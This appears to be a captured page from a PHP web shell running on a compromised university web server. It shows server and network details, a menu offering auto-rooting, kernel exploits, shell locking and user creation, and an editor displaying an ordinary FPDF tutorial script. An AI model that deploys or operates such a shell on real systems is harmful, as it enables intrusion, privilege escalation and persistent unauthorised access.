Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
STR /
librerias /
fpdf /
tutorial /
[ HOME SHELL ]
Name
Size
Permission
Action
20k_c1.txt
5.38
KB
-rwxrwxr-x
20k_c2.txt
7.14
KB
-rwxrwxr-x
calligra.php
3.61
KB
-rwxrwxr-x
calligra.ttf
39.18
KB
-rwxrwxr-x
calligra.z
21.95
KB
-rwxrwxr-x
countries.txt
442
B
-rwxrwxr-x
index.htm
842
B
-rwxrwxr-x
logo.png
2.32
KB
-rwxrwxr-x
makefont.php
141
B
-rwxrwxr-x
tuto1.htm
4.67
KB
-rwxrwxr-x
tuto1.php
160
B
-rwxrwxr-x
tuto2.htm
5.5
KB
-rwxrwxr-x
tuto2.php
783
B
-rwxrwxr-x
tuto3.htm
8.75
KB
-rwxrwxr-x
tuto3.php
1.73
KB
-rwxrwxr-x
tuto4.htm
9.57
KB
-rwxrwxr-x
tuto4.php
2.19
KB
-rwxrwxr-x
tuto5.htm
12.04
KB
-rwxrwxr-x
tuto5.php
2.27
KB
-rwxrwxr-x
tuto6.htm
11.6
KB
-rwxrwxr-x
tuto6.php
2.4
KB
-rwxrwxr-x
tuto7.htm
8.41
KB
-rwxrwxr-x
tuto7.php
259
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tuto6.php
<?php require('../fpdf.php'); class PDF extends FPDF { protected $B = 0; protected $I = 0; protected $U = 0; protected $HREF = ''; function WriteHTML($html) { // HTML parser $html = str_replace("\n",' ',$html); $a = preg_split('/<(.*)>/U',$html,-1,PREG_SPLIT_DELIM_CAPTURE); foreach($a as $i=>$e) { if($i%2==0) { // Text if($this->HREF) $this->PutLink($this->HREF,$e); else $this->Write(5,$e); } else { // Tag if($e[0]=='/') $this->CloseTag(strtoupper(substr($e,1))); else { // Extract attributes $a2 = explode(' ',$e); $tag = strtoupper(array_shift($a2)); $attr = array(); foreach($a2 as $v) { if(preg_match('/([^=]*)=["\']?([^"\']*)/',$v,$a3)) $attr[strtoupper($a3[1])] = $a3[2]; } $this->OpenTag($tag,$attr); } } } } function OpenTag($tag, $attr) { // Opening tag if($tag=='B' || $tag=='I' || $tag=='U') $this->SetStyle($tag,true); if($tag=='A') $this->HREF = $attr['HREF']; if($tag=='BR') $this->Ln(5); } function CloseTag($tag) { // Closing tag if($tag=='B' || $tag=='I' || $tag=='U') $this->SetStyle($tag,false); if($tag=='A') $this->HREF = ''; } function SetStyle($tag, $enable) { // Modify style and select corresponding font $this->$tag += ($enable ? 1 : -1); $style = ''; foreach(array('B', 'I', 'U') as $s) { if($this->$s>0) $style .= $s; } $this->SetFont('',$style); } function PutLink($URL, $txt) { // Put a hyperlink $this->SetTextColor(0,0,255); $this->SetStyle('U',true); $this->Write(5,$txt,$URL); $this->SetStyle('U',false); $this->SetTextColor(0); } } $html = 'You can now easily print text mixing different styles: <b>bold</b>, <i>italic</i>, <u>underlined</u>, or <b><i><u>all at once</u></i></b>!<br><br>You can also insert links on text, such as <a href="http://www.fpdf.org">www.fpdf.org</a>, or on an image: click on the logo.'; $pdf = new PDF(); // First page $pdf->AddPage(); $pdf->SetFont('Arial','',20); $pdf->Write(5,"To find out what's new in this tutorial, click "); $pdf->SetFont('','U'); $link = $pdf->AddLink(); $pdf->Write(5,'here',$link); $pdf->SetFont(''); // Second page $pdf->AddPage(); $pdf->SetLink($link); $pdf->Image('logo.png',10,12,30,0,'','http://www.fpdf.org'); $pdf->SetLeftMargin(45); $pdf->SetFontSize(14); $pdf->WriteHTML($html); $pdf->Output(); ?>
Close